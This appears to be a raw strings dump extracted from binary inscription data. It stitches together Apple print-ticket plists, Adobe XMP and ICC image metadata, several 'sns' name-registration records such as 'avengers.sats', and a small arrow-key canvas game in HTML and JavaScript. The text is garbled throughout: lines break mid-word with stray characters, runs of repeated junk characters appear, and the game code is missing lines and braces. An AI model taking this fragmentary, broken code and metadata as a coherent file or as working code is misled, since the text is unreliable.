			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
						<real>-18</real>
						<real>-18</real>
						<real>824</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</key>
		<integer>0</integer>
		<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.ticket.APIVersion</key>
		<key>com.apple.print.ticket.type</key>
		<string>com.apple.print.PaperInfoTicket</string>
	<key>com.apple.print.ticket.APIVersion</key>
	<string>00.20</string>
	<key>com.apple.print.ticket.type</key>
	<string>com.apple.print.PageFormatTicket</string>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43        "> <rdf:RDF xmlns:rdf=M
"http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:05:38+02:00" xap:ModifyDate="2023-03-01T01:05:38+02:00" xap:MetadataDate="2023-03-M
01T01:05:38+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:F45B8B53BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:F35B8B53BDB8ED1198F1FE137501CB69" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,3343M
2;FC6C72C2D76DCAFDB6D143BC8ECA035D" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:ColorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;0CD86AE5EM
980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:B159DEEECDB0ED1187E0DFFF4327866D" stRef:documentID="uuid:B059DEEECDB0ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                             M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                            <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"xxx.sats"}h!
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>634</exif:PixelYDimension>
         <exif:PixelXDimension>632</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
text/html;charset=utf-8
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    border:21px solid #000000;
    background-color: #F28810;
<body onload="startGame()">
function startGame() {
    myGamePiece = new component(2.1, 21.1, "orange", 100, 100);
    myGamePiece2 = new component(3, 42, "black", 210, 110);
    myGamePiece3 = new component(1, 7, "gold", 315, 115);
    myGameArea.start();
as : document.createElement("canvas"),
    start : function() {
        this.canvas.width = 2100;
        this.canvas.height = 5100;
        this.context = this.canvas.getContext("2d");
        document.body.insertBefore(this.canvas, document.body.childNodes[0]);
        this.frameNo = 0;
        this.interval = setInterval(updateGameArea, 20);
        window.addEventListener('keydown', function (e) {
            e.preventDefault();
            myGameArea.keys = (myGameArea.keys || []);
            myGameArea.keys[M
e.keyCode] = (e.type == "keydown");
        window.addEventListener('keyup', function (e) {
            myGameArea.keys[e.keyCode] = (e.type == "keydown");
    stop : function() {
        clearInterval(this.interval);
    clear : function() {
        this.context.clearRect(0, 0, this.canvas.width, this.canvas.height);
function component(width, height, color, x, y, type) {
    this.type = type;
    this.width = width;
    this.height = height;
    this.moveAngle = 0.21;
    this.update = function() {
        ctx = myGameArea.context;
        ctx.translate(this.x, this.y);
        ctx.rotate(this.angle);
        ctx.fillStyle = color;
        ctx.fillRect(this.width / -2, this.height / -2, this.width, this.height);
        ctx.restore();
    this.newPos = function() {
        this.angle += this.moveAngle * Math.PI / 180;
        this.x += this.speed * Math.sin(this.angle);M
        this.y -= this.speed * Math.tan(this.angle);
function updateGameArea() {
 //   myGameArea.clear();
    myGamePiece.moveAngle = 0;
    myGamePiece2.moveAngle = 0;
    myGamePiece3.moveAngle = 0;
    myGamePiece.speed = 2;
    myGamePiece2.speed = 2;
    myGamePiece3.speed = 2;
    if (myGameArea.keys && myGameArea.keys[37]) {myGamePiece.moveAngle = -1; }
    if (myGameArea.keys && myGameArea.keys[39]) {myGamePiece.moveAngle = 1; }
    if (myGameArea.keys && myGameArea.keys[38]) {myGamePiece.speed= M
    if (myGameArea.keys && myGameArea.keys[40]) {myGamePiece.speed= -1.21; }
    if (myGameArea.keys && myGameArea.keys[37]) {myGamePiece2.moveAngle = -1; }
    if (myGameArea.keys && myGameArea.keys[39]) {myGamePiece2.moveAngle = 1; }
    if (myGameArea.keys && myGameArea.keys[38]) {myGamePiece2.speed= 1; }
    if (myGameArea.keys && myGameArea.keys[40]) {myGamePiece2.speed= -1; }
    if (myGameArea.keys && myGameArea.keys[37]) {myGamePiece3.moveAngle = -1; }
    if (myGameArea.keys && myGameArea.keys[39])M
 {myGamePiece3.moveAngle = 1; }
    if (myGameArea.keys && myGameArea.keys[38]) {myGamePiece3.speed= 1; }
    if (myGameArea.keys && myGameArea.keys[40]) {myGamePiece3.speed= -1; }
    myGamePiece.newPos();
    myGamePiece.update();
    myGamePiece2.newPos();
    myGamePiece2.update();
    myGamePiece3.newPos();
    myGamePiece3.update();
<p>          ......       &#8593    &#8592   &#8594   &#8595.......</p>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
Adobe Photoshop CS3 Macintosh
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
	<key>com.apple.print.PageFormat.PMHorizontalRes</key>
	<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMHorizontalRes</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMOrientation</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMOrientation</key>
				<integer>1</integer>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMScaling</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMScaling</key>
				<key>com.apple.print.ticket.stateFM
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMVerticalRes</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMVerticalRes</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMVerticalScaling</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMVerticalScaling</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.subTicket.paper_info_ticket</key>
		<key>PMPPDPaperCodeName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</strinM
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMPPDPaperCodeName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>PMPPDTranslationStringPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMPPDTranslationStringPaperName</key>
					<string>A4</stringM
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>PMTiogaPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMTiogaPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPM
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPM
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
						<real>-18</real>
						<real>-18</real>
						<real>824</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPPDPaperDimensioM
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMPPDPaperDimension</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>595</real>
						<real>842</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
						<real>-18</real>
						<real>-18</real>
						<real>824</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.ticket.APIVersion</key>
		<string>00.20</string>
		<key>com.apple.print.ticket.type</key>
		<string>com.apple.print.PaperInfoTicket</string>
	<key>com.apple.print.ticket.APIVersion</key>
	<string>00.20</string>
	<key>com.apple.print.ticket.type<M
	<string>com.apple.print.PageFormatTicket</string>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 4M
6.276720, Mon Feb 19 2007 22:13:43        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:06:37+02:00" xap:MM
odifyDate="2023-03-01T01:06:37+02:00" xap:MetadataDate="2023-03-01T01:06:37+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:DE7DF176BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:DD7DF176BDB8ED1198F1FE137501CB69" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,M
531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;93DF019C8598E2C60A6C9C72B4CA5A16" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:ColorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9M
,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;0CD86AE5E980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:CC151B6A8CB1ED1187E0DFFF4327866D" stRef:documentID="uuid:CB151B6A8CB1ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                             M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                            <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/plain;charset=utf-8
  "name": "52000.sats",
Adobe Photoshop CS3 Macintosh
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
	<key>com.apple.print.PageFormat.PMHorizontalRes</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>M
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMHorizontalRes</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMOrientation</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMOrientation</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMScaling</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMScaling</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
.print.PageFormat.PMVerticalRes</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMVerticalRes</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.PageFormat.PMVerticalScaling</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</strinM
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMVerticalScaling</key>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
	<key>com.apple.print.subTicket.paper_info_ticket</key>
		<key>PMPPDPaperCodeName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
>PMPPDPaperCodeName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>PMPPDTranslationStringPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMPPDTranslationStringPaperName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>PMTiogaPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>PMTiogaPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
			<key>com.apple.print.ticket.creator</key>
m.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
			<key>com.apple.print.ticket.creator</key>
om.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
						<real>-18</real>
						<real>-18</real>
						<real>824</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPPDPaperDimension</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.applM
e.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMPPDPaperDimension</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>595</real>
						<real>842</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticM
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PaperInfo.PMPaperName</key>
					<string>iso-a4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.priM
nt.PaperInfo.PMUnadjustedPageRect</key>
						<integer>0</integer>
						<integer>0</integer>
						<real>783</real>
						<real>559</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.M
print.PaperInfo.PMUnadjustedPaperRect</key>
						<real>-18</real>
						<real>-18</real>
						<real>824</real>
						<real>577</real>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
			<key>com.apple.print.ticket.creator</key>
			<string>com.apple.jobticket</string>
			<key>com.apple.print.ticket.itemArray</key>
					<key>com.apple.print.PapeM
rInfo.ppd.PMPaperName</key>
					<string>A4</string>
					<key>com.apple.print.ticket.stateFlag</key>
					<integer>0</integer>
		<key>com.apple.print.ticket.APIVersion</key>
		<string>00.20</string>
		<key>com.apple.print.ticket.type</key>
		<string>com.apple.print.PaperInfoTicket</string>
	<key>com.apple.print.ticket.APIVersion</key>
	<string>00.20</string>
	<key>com.apple.print.ticket.type</key>
	<string>com.apple.print.PageFormatTicket</string>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://nsM
.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2023-03-01T01:05:08+02:00" xap:ModifyDate="2023-03-01T01:05:08+02:00" xap:MetadataDate="2023-03-01T01:05:08+02:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshM
op:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" photoshop:History="" xapMM:InstanceID="uuid:A282AB42BDB8ED1198F1FE137501CB69" xapMM:DocumentID="uuid:90210741BDB8ED1198F1FE137501CB69" tiff:Orientation="1" tiff:XResolution="3000000/10000" tiff:YResolution="3000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;9840EB07EAC80627FD033C2438DF40DA" exif:PixelXDimension="801" exif:PixelYDimension="800" exif:CoM
lorSpace="1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;0CD86AE5E980B99D7F30FECCB47A5DE1"> <xapMM:DerivedFrom stRef:instanceID="uuid:2FF2A08B64B0ED1187E0DFFF43278M
66D" stRef:documentID="uuid:2EF2A08B64B0ED1187E0DFFF4327866D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                              M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                           <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
 Condition in IEC61966-2.1
image/jpeg;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
image/jpeg;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"stg.sats"}h!
&iCCPAdobe RGB (1998)
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.1644M
88, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)" xmp:CreateDate="2023-03-01T05:31:27-04:00" xmp:MetadataDate="2023-03-01T14:48:46-04:00" xmp:MoM
difyDate="2023-03-01T14:48:46-04:00" xmpMM:InstanceID="xmp.iid:7e24163f-2fee-2b49-9c0e-c1a02052c4be" xmpMM:DocumentID="adobe:docid:photoshop:8ca7712b-a524-b74f-8d17-6d7e52db2dda" xmpMM:OriginalDocumentID="xmp.did:26c43945-3ebd-7e4e-9476-2efd8d35b46c" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="Adobe RGB (1998)"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:26c43945-3ebd-7e4e-9476-2efd8d35b46c" stEvt:when="2023-03-01T05:31:27-04:00" stEvt:softwareAgent="AM
dobe Photoshop 22.0 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:7e24163f-2fee-2b49-9c0e-c1a02052c4be" stEvt:when="2023-03-01T14:48:46-04:00" stEvt:softwareAgent="Adobe Photoshop 22.0 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
QBBBBBBBBBBBBBBBBBBBB
?)2222222222222222222222222222222222222222222222222222222
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
fffffffffffffffffffffffffffffffffffffffffffffffffffffff
Mbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
=o	maaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
chaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaq
%%%%%%%%%%%%%%%%%%%%%%%%%%
o(00000000000000000000000000000000000000000000008
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>
Rc\2&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
rhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh|
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0705.sats"}h!
$Q@AAAAAAAAAAAAAAAAAAAAAAAAAA
text/plain;charset=utf-8
  "name": "avengers.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"woods.sats"}h!
text/plain;charset=utf-8
C{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "erc.sats"
Adobe Photoshop CS3 Macintosh
ml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
	<key>com.apple.print.PageFormat.PMHorizontalRes</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMHorizontalRes</key>
				<key>com.apple.print.ticket.stateFlag</key>
	<key>com.apple.print.PageFormat.PMOrientation</key>
		<key>com.apple.print.ticket.creator</key>
		<string>com.apple.jobticket</string>
		<key>com.apple.print.ticket.itemArray</key>
				<key>com.apple.print.PageFormat.PMOrientation</key>
				<integer>1</integer>
				<key>com.apple.print.ticket.stateFlag</key>
				<integer>0</integer>
